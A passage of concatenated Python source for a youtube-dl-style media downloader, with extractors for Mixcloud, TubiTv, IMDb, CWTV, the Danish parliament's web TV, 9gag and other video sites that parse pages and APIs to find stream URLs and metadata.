            r'class=\\"amtv-embed\\"[^>]+id=\\"([^"]+)\\"',
        ], webpage, 'raw payload')
        _, stage_mode, video_id, lang = raw_payload.split('-')

        # TODO: handle s and e stage_mode (live streams and ended live streams)
        if stage_mode not in ('s', 'e'):
            request = sanitized_Request(
                'https://audimedia.tv/api/video/v1/videos/%s?embed[]=video_versions&embed[]=thumbnail_image&where[content_language_iso]=%s' % (video_id, lang),
                headers={'X-Auth-Token': self._AUTH_TOKEN})
            json_data = self._download_json(request, video_id)['results']
            formats = []

            stream_url_hls = json_data.get('stream_url_hls')
            if stream_url_hls:
                formats.extend(self._extract_m3u8_formats(
                    stream_url_hls, video_id, 'mp4',
                    entry_protocol='m3u8_native', m3u8_id='hls', fatal=False))

            stream_url_hds = json_data.get('stream_url_hds')
            if stream_url_hds:
                formats.extend(self._extract_f4m_formats(
                    stream_url_hds + '?hdcore=3.4.0',
                    video_id, f4m_id='hds', fatal=False))

            for video_version in json_data.get('video_versions'):
                video_version_url = video_version.get('download_url') or video_version.get('stream_url')
                if not video_version_url:
                    continue
                f = {
                    'url': video_version_url,
                    'width': int_or_none(video_version.get('width')),
                    'height': int_or_none(video_version.get('height')),
                    'abr': int_or_none(video_version.get('audio_bitrate')),
                    'vbr': int_or_none(video_version.get('video_bitrate')),
                }
                bitrate = self._search_regex(r'(\d+)k', video_version_url, 'bitrate', default=None)
                if bitrate:
                    f.update({
                        'format_id': 'http-%s' % bitrate,
                    })
                formats.append(f)
            self._sort_formats(formats)

            return {
                'id': video_id,
                'title': json_data['title'],
                'description': json_data.get('subtitle'),
                'thumbnail': json_data.get('thumbnail_image', {}).get('file'),
                'timestamp': parse_iso8601(json_data.get('publication_date')),
                'duration': int_or_none(json_data.get('duration')),
                'view_count': int_or_none(json_data.get('view_count')),
                'formats': formats,
            }






from __future__ import unicode_literals

import base64
import functools
import itertools
import re

from .common import InfoExtractor
from ..compat import (
    compat_chr,
    compat_ord,
    compat_urllib_parse_unquote,
    compat_urlparse,
)
from ..utils import (
    clean_html,
    ExtractorError,
    OnDemandPagedList,
    parse_count,
    str_to_int,
)


class MixcloudIE(InfoExtractor):
    _VALID_URL = r'^(?:https?://)?(?:www\.)?mixcloud\.com/([^/]+)/(?!stream|uploads|favorites|listens|playlists)([^/]+)'
    IE_NAME = 'mixcloud'

    _TESTS = [{
        'url': 'http://www.mixcloud.com/dholbach/cryptkeeper/',
        'info_dict': {
            'id': 'dholbach-cryptkeeper',
            'ext': 'm4a',
            'title': 'Cryptkeeper',
            'description': 'After quite a long silence from myself, finally another Drum\'n\'Bass mix with my favourite current dance floor bangers.',
            'uploader': 'Daniel Holbach',
            'uploader_id': 'dholbach',
            'thumbnail': 're:https?://.*\.jpg',
            'view_count': int,
            'like_count': int,
        },
    }, {
        'url': 'http://www.mixcloud.com/gillespeterson/caribou-7-inch-vinyl-mix-chat/',
        'info_dict': {
            'id': 'gillespeterson-caribou-7-inch-vinyl-mix-chat',
            'ext': 'mp3',
            'title': 'Caribou 7 inch Vinyl Mix & Chat',
            'description': 'md5:2b8aec6adce69f9d41724647c65875e8',
            'uploader': 'Gilles Peterson Worldwide',
            'uploader_id': 'gillespeterson',
            'thumbnail': 're:https?://.*',
            'view_count': int,
            'like_count': int,
        },
    }]

    # See https://www.mixcloud.com/media/js2/www_js_2.9e23256562c080482435196ca3975ab5.js
    @staticmethod
    def _decrypt_play_info(play_info):
        KEY = 'pleasedontdownloadourmusictheartistswontgetpaid'

        play_info = base64.b64decode(play_info.encode('ascii'))

        return ''.join([
            compat_chr(compat_ord(ch) ^ compat_ord(KEY[idx % len(KEY)]))
            for idx, ch in enumerate(play_info)])

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        uploader = mobj.group(1)
        cloudcast_name = mobj.group(2)
        track_id = compat_urllib_parse_unquote('-'.join((uploader, cloudcast_name)))

        webpage = self._download_webpage(url, track_id)

        message = self._html_search_regex(
            r'(?s)<div[^>]+class="global-message cloudcast-disabled-notice-light"[^>]*>(.+?)<(?:a|/div)',
            webpage, 'error message', default=None)

        encrypted_play_info = self._search_regex(
            r'm-play-info="([^"]+)"', webpage, 'play info')
        play_info = self._parse_json(
            self._decrypt_play_info(encrypted_play_info), track_id)

        if message and 'stream_url' not in play_info:
            raise ExtractorError('%s said: %s' % (self.IE_NAME, message), expected=True)

        song_url = play_info['stream_url']

        PREFIX = (
            r'm-play-on-spacebar[^>]+'
            r'(?:\s+[a-zA-Z0-9-]+(?:="[^"]+")?)*?\s+')
        title = self._html_search_regex(
            PREFIX + r'm-title="([^"]+)"', webpage, 'title')
        thumbnail = self._proto_relative_url(self._html_search_regex(
            PREFIX + r'm-thumbnail-url="([^"]+)"', webpage, 'thumbnail',
            fatal=False))
        uploader = self._html_search_regex(
            PREFIX + r'm-owner-name="([^"]+)"',
            webpage, 'uploader', fatal=False)
        uploader_id = self._search_regex(
            r'\s+"profile": "([^"]+)",', webpage, 'uploader id', fatal=False)
        description = self._og_search_description(webpage)
        like_count = parse_count(self._search_regex(
            r'\bbutton-favorite[^>]+>.*?<span[^>]+class=["\']toggle-number[^>]+>\s*([^<]+)',
            webpage, 'like count', default=None))
        view_count = str_to_int(self._search_regex(
            [r'<meta itemprop="interactionCount" content="UserPlays:([0-9]+)"',
             r'/listeners/?">([0-9,.]+)</a>'],
            webpage, 'play count', default=None))

        return {
            'id': track_id,
            'title': title,
            'url': song_url,
            'description': description,
            'thumbnail': thumbnail,
            'uploader': uploader,
            'uploader_id': uploader_id,
            'view_count': view_count,
            'like_count': like_count,
        }


class MixcloudPlaylistBaseIE(InfoExtractor):
    _PAGE_SIZE = 24

    def _find_urls_in_page(self, page):
        for url in re.findall(r'm-play-button m-url="(?P<url>[^"]+)"', page):
            yield self.url_result(
                compat_urlparse.urljoin('https://www.mixcloud.com', clean_html(url)),
                MixcloudIE.ie_key())

    def _fetch_tracks_page(self, path, video_id, page_name, current_page, real_page_number=None):
        real_page_number = real_page_number or current_page + 1
        return self._download_webpage(
            'https://www.mixcloud.com/%s/' % path, video_id,
            note='Download %s (page %d)' % (page_name, current_page + 1),
            errnote='Unable to download %s' % page_name,
            query={'page': real_page_number, 'list': 'main', '_ajax': '1'},
            headers={'X-Requested-With': 'XMLHttpRequest'})

    def _tracks_page_func(self, page, video_id, page_name, current_page):
        resp = self._fetch_tracks_page(page, video_id, page_name, current_page)

        for item in self._find_urls_in_page(resp):
            yield item

    def _get_user_description(self, page_content):
        return self._html_search_regex(
            r'<div[^>]+class="description-text"[^>]*>(.+?)</div>',
            page_content, 'user description', fatal=False)


class MixcloudUserIE(MixcloudPlaylistBaseIE):
    _VALID_URL = r'^(?:https?://)?(?:www\.)?mixcloud\.com/(?P<user>[^/]+)/(?P<type>uploads|favorites|listens)?/?$'
    IE_NAME = 'mixcloud:user'

    _TESTS = [{
        'url': 'http://www.mixcloud.com/dholbach/',
        'info_dict': {
            'id': 'dholbach_uploads',
            'title': 'Daniel Holbach (uploads)',
            'description': 'md5:327af72d1efeb404a8216c27240d1370',
        },
        'playlist_mincount': 11,
    }, {
        'url': 'http://www.mixcloud.com/dholbach/uploads/',
        'info_dict': {
            'id': 'dholbach_uploads',
            'title': 'Daniel Holbach (uploads)',
            'description': 'md5:327af72d1efeb404a8216c27240d1370',
        },
        'playlist_mincount': 11,
    }, {
        'url': 'http://www.mixcloud.com/dholbach/favorites/',
        'info_dict': {
            'id': 'dholbach_favorites',
            'title': 'Daniel Holbach (favorites)',
            'description': 'md5:327af72d1efeb404a8216c27240d1370',
        },
        'params': {
            'playlist_items': '1-100',
        },
        'playlist_mincount': 100,
    }, {
        'url': 'http://www.mixcloud.com/dholbach/listens/',
        'info_dict': {
            'id': 'dholbach_listens',
            'title': 'Daniel Holbach (listens)',
            'description': 'md5:327af72d1efeb404a8216c27240d1370',
        },
        'params': {
            'playlist_items': '1-100',
        },
        'playlist_mincount': 100,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        user_id = mobj.group('user')
        list_type = mobj.group('type')

        # if only a profile URL was supplied, default to download all uploads
        if list_type is None:
            list_type = 'uploads'

        video_id = '%s_%s' % (user_id, list_type)

        profile = self._download_webpage(
            'https://www.mixcloud.com/%s/' % user_id, video_id,
            note='Downloading user profile',
            errnote='Unable to download user profile')

        username = self._og_search_title(profile)
        description = self._get_user_description(profile)

        entries = OnDemandPagedList(
            functools.partial(
                self._tracks_page_func,
                '%s/%s' % (user_id, list_type), video_id, 'list of %s' % list_type),
            self._PAGE_SIZE, use_cache=True)

        return self.playlist_result(
            entries, video_id, '%s (%s)' % (username, list_type), description)


class MixcloudPlaylistIE(MixcloudPlaylistBaseIE):
    _VALID_URL = r'^(?:https?://)?(?:www\.)?mixcloud\.com/(?P<user>[^/]+)/playlists/(?P<playlist>[^/]+)/?$'
    IE_NAME = 'mixcloud:playlist'

    _TESTS = [{
        'url': 'https://www.mixcloud.com/RedBullThre3style/playlists/tokyo-finalists-2015/',
        'info_dict': {
            'id': 'RedBullThre3style_tokyo-finalists-2015',
            'title': 'National Champions 2015',
            'description': 'md5:6ff5fb01ac76a31abc9b3939c16243a3',
        },
        'playlist_mincount': 16,
    }, {
        'url': 'https://www.mixcloud.com/maxvibes/playlists/jazzcat-on-ness-radio/',
        'info_dict': {
            'id': 'maxvibes_jazzcat-on-ness-radio',
            'title': 'Jazzcat on Ness Radio',
            'description': 'md5:7bbbf0d6359a0b8cda85224be0f8f263',
        },
        'playlist_mincount': 23
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        user_id = mobj.group('user')
        playlist_id = mobj.group('playlist')
        video_id = '%s_%s' % (user_id, playlist_id)

        profile = self._download_webpage(
            url, user_id,
            note='Downloading playlist page',
            errnote='Unable to download playlist page')

        description = self._get_user_description(profile)
        playlist_title = self._html_search_regex(
            r'<span[^>]+class="[^"]*list-playlist-title[^"]*"[^>]*>(.*?)</span>',
            profile, 'playlist title')

        entries = OnDemandPagedList(
            functools.partial(
                self._tracks_page_func,
                '%s/playlists/%s' % (user_id, playlist_id), video_id, 'tracklist'),
            self._PAGE_SIZE)

        return self.playlist_result(entries, video_id, playlist_title, description)


class MixcloudStreamIE(MixcloudPlaylistBaseIE):
    _VALID_URL = r'^(?:https?://)?(?:www\.)?mixcloud\.com/(?P<id>[^/]+)/stream/?$'
    IE_NAME = 'mixcloud:stream'

    _TEST = {
        'url': 'https://www.mixcloud.com/FirstEar/stream/',
        'info_dict': {
            'id': 'FirstEar',
            'title': 'First Ear',
            'description': 'Curators of good music\nfirstearmusic.com',
        },
        'playlist_mincount': 192,
    }

    def _real_extract(self, url):
        user_id = self._match_id(url)

        webpage = self._download_webpage(url, user_id)

        entries = []
        prev_page_url = None

        def _handle_page(page):
            entries.extend(self._find_urls_in_page(page))
            return self._search_regex(
                r'm-next-page-url="([^"]+)"', page,
                'next page URL', default=None)

        next_page_url = _handle_page(webpage)

        for idx in itertools.count(0):
            if not next_page_url or prev_page_url == next_page_url:
                break

            prev_page_url = next_page_url
            current_page = int(self._search_regex(
                r'\?page=(\d+)', next_page_url, 'next page number'))

            next_page_url = _handle_page(self._fetch_tracks_page(
                '%s/stream' % user_id, user_id, 'stream', idx,
                real_page_number=current_page))

        username = self._og_search_title(webpage)
        description = self._get_user_description(webpage)

        return self.playlist_result(entries, user_id, username, description)






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    int_or_none,
    sanitized_Request,
    urlencode_postdata,
    parse_iso8601,
)


class TubiTvIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?tubitv\.com/video/(?P<id>[0-9]+)'
    _LOGIN_URL = 'http://tubitv.com/login'
    _NETRC_MACHINE = 'tubitv'
    _TEST = {
        'url': 'http://tubitv.com/video/283829/the_comedian_at_the_friday',
        'info_dict': {
            'id': '283829',
            'ext': 'mp4',
            'title': 'The Comedian at The Friday',
            'description': 'A stand up comedian is forced to look at the decisions in his life while on a one week trip to the west coast.',
            'uploader': 'Indie Rights Films',
            'upload_date': '20160111',
            'timestamp': 1452555979,
        },
        'params': {
            'skip_download': 'HLS download',
        },
    }

    def _login(self):
        (username, password) = self._get_login_info()
        if username is None:
            return
        self.report_login()
        form_data = {
            'username': username,
            'password': password,
        }
        payload = urlencode_postdata(form_data)
        request = sanitized_Request(self._LOGIN_URL, payload)
        request.add_header('Content-Type', 'application/x-www-form-urlencoded')
        login_page = self._download_webpage(
            request, None, False, 'Wrong login info')
        if not re.search(r'id="tubi-logout"', login_page):
            raise ExtractorError(
                'Login failed (invalid username/password)', expected=True)

    def _real_initialize(self):
        self._login()

    def _real_extract(self, url):
        video_id = self._match_id(url)
        video_data = self._download_json(
            'http://tubitv.com/oz/videos/%s/content' % video_id, video_id)
        title = video_data['n']

        formats = self._extract_m3u8_formats(
            video_data['mh'], video_id, 'mp4', 'm3u8_native')
        self._sort_formats(formats)

        subtitles = {}
        for sub in video_data.get('sb', []):
            sub_url = sub.get('u')
            if not sub_url:
                continue
            subtitles.setdefault(sub.get('l', 'en'), []).append({
                'url': sub_url,
            })

        return {
            'id': video_id,
            'title': title,
            'formats': formats,
            'subtitles': subtitles,
            'thumbnail': video_data.get('ph'),
            'description': video_data.get('d'),
            'duration': int_or_none(video_data.get('s')),
            'timestamp': parse_iso8601(video_data.get('u')),
            'uploader': video_data.get('on'),
        }






from __future__ import unicode_literals

import re
import random

from .common import InfoExtractor


class VideoPremiumIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?videopremium\.(?:tv|me)/(?P<id>\w+)(?:/.*)?'
    _TEST = {
        'url': 'http://videopremium.tv/4w7oadjsf156',
        'info_dict': {
            'id': '4w7oadjsf156',
            'ext': 'f4v',
            'title': 'youtube-dl_test_video____a_________-BaW_jenozKc.mp4.mp4'
        },
        'params': {
            'skip_download': True,
        },
        'skip': 'Test file has been deleted.',
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage_url = 'http://videopremium.tv/' + video_id
        webpage = self._download_webpage(webpage_url, video_id)

        if re.match(r'^<html><head><script[^>]*>window.location\s*=', webpage):
            # Download again, we need a cookie
            webpage = self._download_webpage(
                webpage_url, video_id,
                note='Downloading webpage again (with cookie)')

        video_title = self._html_search_regex(
            r'<h2(?:.*?)>\s*(.+?)\s*<', webpage, 'video title')

        return {
            'id': video_id,
            'url': 'rtmp://e%d.md.iplay.md/play' % random.randint(1, 16),
            'play_path': 'mp4:%s.f4v' % video_id,
            'page_url': 'http://videopremium.tv/' + video_id,
            'player_url': 'http://videopremium.tv/uplayer/uppod.swf',
            'ext': 'f4v',
            'title': video_title,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    mimetype2ext,
    qualities,
    remove_end,
)


class ImdbIE(InfoExtractor):
    IE_NAME = 'imdb'
    IE_DESC = 'Internet Movie Database trailers'
    _VALID_URL = r'https?://(?:www|m)\.imdb\.com/(?:video/[^/]+/|title/tt\d+.*?#lb-)vi(?P<id>\d+)'

    _TESTS = [{
        'url': 'http://www.imdb.com/video/imdb/vi2524815897',
        'info_dict': {
            'id': '2524815897',
            'ext': 'mp4',
            'title': 'Ice Age: Continental Drift Trailer (No. 2)',
            'description': 'md5:9061c2219254e5d14e03c25c98e96a81',
        }
    }, {
        'url': 'http://www.imdb.com/video/_/vi2524815897',
        'only_matching': True,
    }, {
        'url': 'http://www.imdb.com/title/tt1667889/?ref_=ext_shr_eml_vi#lb-vi2524815897',
        'only_matching': True,
    }, {
        'url': 'http://www.imdb.com/title/tt1667889/#lb-vi2524815897',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage('http://www.imdb.com/video/imdb/vi%s' % video_id, video_id)
        descr = self._html_search_regex(
            r'(?s)<span itemprop="description">(.*?)</span>',
            webpage, 'description', fatal=False)
        player_url = 'http://www.imdb.com/video/imdb/vi%s/imdb/single' % video_id
        player_page = self._download_webpage(
            player_url, video_id, 'Downloading player page')
        # the player page contains the info for the default format, we have to
        # fetch other pages for the rest of the formats
        extra_formats = re.findall(r'href="(?P<url>%s.*?)".*?>(?P<name>.*?)<' % re.escape(player_url), player_page)
        format_pages = [
            self._download_webpage(
                f_url, video_id, 'Downloading info for %s format' % f_name)
            for f_url, f_name in extra_formats]
        format_pages.append(player_page)

        quality = qualities(('SD', '480p', '720p', '1080p'))
        formats = []
        for format_page in format_pages:
            json_data = self._search_regex(
                r'<script[^>]+class="imdb-player-data"[^>]*?>(.*?)</script>',
                format_page, 'json data', flags=re.DOTALL)
            info = self._parse_json(json_data, video_id, fatal=False)
            if not info:
                continue
            format_info = info.get('videoPlayerObject', {}).get('video', {})
            if not format_info:
                continue
            video_info_list = format_info.get('videoInfoList')
            if not video_info_list or not isinstance(video_info_list, list):
                continue
            video_info = video_info_list[0]
            if not video_info or not isinstance(video_info, dict):
                continue
            video_url = video_info.get('videoUrl')
            if not video_url:
                continue
            format_id = format_info.get('ffname')
            formats.append({
                'format_id': format_id,
                'url': video_url,
                'ext': mimetype2ext(video_info.get('videoMimeType')),
                'quality': quality(format_id),
            })
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': remove_end(self._og_search_title(webpage), ' - IMDb'),
            'formats': formats,
            'description': descr,
            'thumbnail': format_info.get('slate'),
        }


class ImdbListIE(InfoExtractor):
    IE_NAME = 'imdb:list'
    IE_DESC = 'Internet Movie Database lists'
    _VALID_URL = r'https?://www\.imdb\.com/list/(?P<id>[\da-zA-Z_-]{11})'
    _TEST = {
        'url': 'http://www.imdb.com/list/JFs9NWw6XI0',
        'info_dict': {
            'id': 'JFs9NWw6XI0',
            'title': 'March 23, 2012 Releases',
        },
        'playlist_count': 7,
    }

    def _real_extract(self, url):
        list_id = self._match_id(url)
        webpage = self._download_webpage(url, list_id)
        entries = [
            self.url_result('http://www.imdb.com' + m, 'Imdb')
            for m in re.findall(r'href="(/video/imdb/vi[^"]+)"\s+data-type="playlist"', webpage)]

        list_title = self._html_search_regex(
            r'<h1 class="header">(.*?)</h1>', webpage, 'list title')

        return self.playlist_result(entries, list_id, list_title)






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    parse_iso8601,
)


class CWTVIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?cw(?:tv(?:pr)?|seed)\.com/(?:shows/)?(?:[^/]+/)+[^?]*\?.*\b(?:play|watch)=(?P<id>[a-z0-9]{8}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{12})'
    _TESTS = [{
        'url': 'http://cwtv.com/shows/arrow/legends-of-yesterday/?play=6b15e985-9345-4f60-baf8-56e96be57c63',
        'info_dict': {
            'id': '6b15e985-9345-4f60-baf8-56e96be57c63',
            'ext': 'mp4',
            'title': 'Legends of Yesterday',
            'description': 'Oliver and Barry Allen take Kendra Saunders and Carter Hall to a remote location to keep them hidden from Vandal Savage while they figure out how to defeat him.',
            'duration': 2665,
            'series': 'Arrow',
            'season_number': 4,
            'season': '4',
            'episode_number': 8,
            'upload_date': '20151203',
            'timestamp': 1449122100,
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
        'skip': 'redirect to http://cwtv.com/shows/arrow/',
    }, {
        'url': 'http://www.cwseed.com/shows/whose-line-is-it-anyway/jeff-davis-4/?play=24282b12-ead2-42f2-95ad-26770c2c6088',
        'info_dict': {
            'id': '24282b12-ead2-42f2-95ad-26770c2c6088',
            'ext': 'mp4',
            'title': 'Jeff Davis 4',
            'description': 'Jeff Davis is back to make you laugh.',
            'duration': 1263,
            'series': 'Whose Line Is It Anyway?',
            'season_number': 11,
            'season': '11',
            'episode_number': 20,
            'upload_date': '20151006',
            'timestamp': 1444107300,
        },
    }, {
        'url': 'http://cwtv.com/thecw/chroniclesofcisco/?play=8adebe35-f447-465f-ab52-e863506ff6d6',
        'only_matching': True,
    }, {
        'url': 'http://cwtvpr.com/the-cw/video?watch=9eee3f60-ef4e-440b-b3b2-49428ac9c54e',
        'only_matching': True,
    }, {
        'url': 'http://cwtv.com/shows/arrow/legends-of-yesterday/?watch=6b15e985-9345-4f60-baf8-56e96be57c63',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        video_data = None
        formats = []
        for partner in (154, 213):
            vdata = self._download_json(
                'http://metaframe.digitalsmiths.tv/v2/CWtv/assets/%s/partner/%d?format=json' % (video_id, partner), video_id, fatal=False)
            if not vdata:
                continue
            video_data = vdata
            for quality, quality_data in vdata.get('videos', {}).items():
                quality_url = quality_data.get('uri')
                if not quality_url:
                    continue
                if quality == 'variantplaylist':
                    formats.extend(self._extract_m3u8_formats(
                        quality_url, video_id, 'mp4', m3u8_id='hls', fatal=False))
                else:
                    tbr = int_or_none(quality_data.get('bitrate'))
                    format_id = 'http' + ('-%d' % tbr if tbr else '')
                    if self._is_valid_url(quality_url, video_id, format_id):
                        formats.append({
                            'format_id': format_id,
                            'url': quality_url,
                            'tbr': tbr,
                        })
        self._sort_formats(formats)

        thumbnails = [{
            'url': image['uri'],
            'width': image.get('width'),
            'height': image.get('height'),
        } for image_id, image in video_data['images'].items() if image.get('uri')] if video_data.get('images') else None

        video_metadata = video_data['assetFields']

        subtitles = {
            'en': [{
                'url': video_metadata['UnicornCcUrl'],
            }],
        } if video_metadata.get('UnicornCcUrl') else None

        return {
            'id': video_id,
            'title': video_metadata['title'],
            'description': video_metadata.get('description'),
            'duration': int_or_none(video_metadata.get('duration')),
            'series': video_metadata.get('seriesName'),
            'season_number': int_or_none(video_metadata.get('seasonNumber')),
            'season': video_metadata.get('seasonName'),
            'episode_number': int_or_none(video_metadata.get('episodeNumber')),
            'timestamp': parse_iso8601(video_data.get('startTime')),
            'thumbnails': thumbnails,
            'formats': formats,
            'subtitles': subtitles,
        }






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import compat_parse_qs
from ..utils import (
    int_or_none,
    parse_duration,
    parse_iso8601,
    xpath_text,
)


class FolketingetIE(InfoExtractor):
    IE_DESC = 'Folketinget (ft.dk; Danish parliament)'
    _VALID_URL = r'https?://(?:www\.)?ft\.dk/webtv/video/[^?#]*?\.(?P<id>[0-9]+)\.aspx'
    _TEST = {
        'url': 'http://www.ft.dk/webtv/video/20141/eru/td.1165642.aspx?as=1#player',
        'md5': '6269e8626fa1a891bf5369b386ae996a',
        'info_dict': {
            'id': '1165642',
            'ext': 'mp4',
            'title': 'Åbent samråd i Erhvervsudvalget',
            'description': 'Åbent samråd med erhvervs- og vækstministeren om regeringens politik på teleområdet',
            'view_count': int,
            'width': 768,
            'height': 432,
            'tbr': 928000,
            'timestamp': 1416493800,
            'upload_date': '20141120',
            'duration': 3960,
        },
        'params': {
            # rtmp download
            'skip_download': True,
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        title = self._og_search_title(webpage)
        description = self._html_search_regex(
            r'(?s)<div class="video-item-agenda"[^>]*>(.*?)<',
            webpage, 'description', fatal=False)

        player_params = compat_parse_qs(self._search_regex(
            r'<embed src="http://ft\.arkena\.tv/flash/ftplayer\.swf\?([^"]+)"',
            webpage, 'player params'))
        xml_url = player_params['xml'][0]
        doc = self._download_xml(xml_url, video_id)

        timestamp = parse_iso8601(xpath_text(doc, './/date'))
        duration = parse_duration(xpath_text(doc, './/duration'))
        width = int_or_none(xpath_text(doc, './/width'))
        height = int_or_none(xpath_text(doc, './/height'))
        view_count = int_or_none(xpath_text(doc, './/views'))

        formats = [{
            'format_id': n.attrib['bitrate'],
            'url': xpath_text(n, './url', fatal=True),
            'tbr': int_or_none(n.attrib['bitrate']),
        } for n in doc.findall('.//streams/stream')]
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'formats': formats,
            'description': description,
            'timestamp': timestamp,
            'width': width,
            'height': height,
            'duration': duration,
            'view_count': view_count,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor


class YourUploadIE(InfoExtractor):
    _VALID_URL = r'''(?x)https?://(?:www\.)?
        (?:yourupload\.com/watch|
           embed\.yourupload\.com|
           embed\.yucache\.net
        )/(?P<id>[A-Za-z0-9]+)
        '''
    _TESTS = [
        {
            'url': 'http://yourupload.com/watch/14i14h',
            'md5': '5e2c63385454c557f97c4c4131a393cd',
            'info_dict': {
                'id': '14i14h',
                'ext': 'mp4',
                'title': 'BigBuckBunny_320x180.mp4',
                'thumbnail': 're:^https?://.*\.jpe?g',
            }
        },
        {
            'url': 'http://embed.yourupload.com/14i14h',
            'only_matching': True,
        },
        {
            'url': 'http://embed.yucache.net/14i14h?client_file_id=803349',
            'only_matching': True,
        },
    ]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        embed_url = 'http://embed.yucache.net/{0:}'.format(video_id)
        webpage = self._download_webpage(embed_url, video_id)

        title = self._og_search_title(webpage)
        video_url = self._og_search_video_url(webpage)
        thumbnail = self._og_search_thumbnail(webpage, default=None)

        return {
            'id': video_id,
            'title': title,
            'url': video_url,
            'thumbnail': thumbnail,
            'http_headers': {
                'Referer': embed_url,
            },
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import str_to_int


class NineGagIE(InfoExtractor):
    IE_NAME = '9gag'
    _VALID_URL = r'https?://(?:www\.)?9gag(?:\.com/tv|\.tv)/(?:p|embed)/(?P<id>[a-zA-Z0-9]+)(?:/(?P<display_id>[^?#/]+))?'

    _TESTS = [{
        'url': 'http://9gag.com/tv/p/Kk2X5/people-are-awesome-2013-is-absolutely-awesome',
        'info_dict': {
            'id': 'Kk2X5',
            'ext': 'mp4',
            'description': 'This 3-minute video will make you smile and then make you feel untalented and insignificant. Anyway, you should share this awesomeness. (Thanks, Dino!)',
            'title': '\"People Are Awesome 2013\" Is Absolutely Awesome',
            'uploader_id': 'UCdEH6EjDKwtTe-sO2f0_1XA',
            'uploader': 'CompilationChannel',
            'upload_date': '20131110',
            'view_count': int,
        },
        'add_ie': ['Youtube'],
    }, {
        'url': 'http://9gag.com/tv/p/aKolP3',
        'info_dict': {
            'id': 'aKolP3',
            'ext': 'mp4',
            'title': 'This Guy Travelled 11 countries In 44 days Just To Make This Amazing Video',
            'description': "I just saw more in 1 minute than I've seen in 1 year. This guy's video is epic!!",
            'uploader_id': 'rickmereki',
            'uploader': 'Rick Mereki',
            'upload_date': '20110803',
            'view_count': int,
        },
        'add_ie': ['Vimeo'],
    }, {
        'url': 'http://9gag.com/tv/p/KklwM',
        'only_matching': True,
    }, {
        'url': 'http://9gag.tv/p/Kk2X5',
        'only_matching': True,
    }, {
        'url': 'http://9gag.com/tv/embed/a5Dmvl',
        'only_matching': True,
    }]

    _EXTERNAL_VIDEO_PROVIDER = {
        '1': {
            'url': '%s',
            'ie_key': 'Youtube',
        },
        '2': {
            'url': 'http://player.vimeo.com/video/%s',
            'ie_key': 'Vimeo',
        },
        '3': {
            'url': 'http://instagram.com/p/%s',
            'ie_key': 'Instagram',
        },
        '4': {
            'url': 'http://vine.co/v/%s',
            'ie_key': 'Vine',
        },
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        display_id = mobj.group('display_id') or video_id

        webpage = self._download_webpage(url, display_id)

        post_view = self._parse_json(
            self._search_regex(
                r'var\s+postView\s*=\s*new\s+app\.PostView\({\s*post:\s*({.+?})\s*,\s*posts:\s*prefetchedCurrentPost',
                webpage, 'post view'),
            display_id)

        ie_key = None
        source_url = post_view.get('sourceUrl')
        if not source_url:
            external_video_id = post_view['videoExternalId']
            external_video_provider = post_view['videoExternalProvider']
            source_url = self._EXTERNAL_VIDEO_PROVIDER[external_video_provider]['url'] % external_video_id
            ie_key = self._EXTERNAL_VIDEO_PROVIDER[external_video_provider]['ie_key']
        title = post_view['title']
        description = post_view.get('description')
        view_count = str_to_int(post_view.get('externalView'))
        thumbnail = post_view.get('thumbnail_700w') or post_view.get('ogImageUrl') or post_view.get('thumbnail_300w')

        return {
            '_type': 'url_transparent',
            'url': source_url,
            'ie_key': ie_key,
            'id': video_id,
            'display_id': display_id,
            'title': title,
            'description': description,
            'view_count': view_count,
            'thumbnail': thumbnail,
        }






# coding: utf-8
from __future__ import unicode_literals

from .jwplatform import JWPlatformBaseIE
from ..utils import js_to_json


class ScreencastOMaticIE(JWPlatformBaseIE):
    _VALID_URL = r'https?://screencast-o-matic\.com/watch/(?P<id>[0-9a-zA-Z]+)'
    _TEST = {
        'url': 'http://screencast-o-matic.com/watch/c2lD3BeOPl',
        'md5': '483583cb80d92588f15ccbedd90f0c18',
        'info_dict': {
            'id': 'c2lD3BeOPl',
            'ext': 'mp4',
            'title': 'Welcome to 3-4 Philosophy @ DECV!',
            'thumbnail': 're:^https?://.*\.jpg$',
            'description': 'as the title says! also: some general info re 1) VCE philosophy and 2) distance learning.',
            'duration': 369.163,
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        jwplayer_data = self._parse_json(
            self._search_regex(
                r"(?s)jwplayer\('mp4Player'\).setup\((\{.*?\})\);", webpage, 'setup code'),
            video_id, transform_source=js_to_json)

        info_dict = self._parse_jwplayer_data(jwplayer_data, video_id, require_title=False)
        info_dict.update({
            'title': self._og_search_title(webpage),
            'description': self._og_search_description(webpage),
        })
        return info_dict






# encoding: utf-8
from __future__ import unicode_literals

import itertools

from .amp import AMPIE
from ..compat import (
    compat_HTTPError,
    compat_urlparse,
)
from ..utils import (
    ExtractorError,
    clean_html,
    int_or_none,
    sanitized_Request,
    urlencode_postdata
)


class DramaFeverBaseIE(AMPIE):
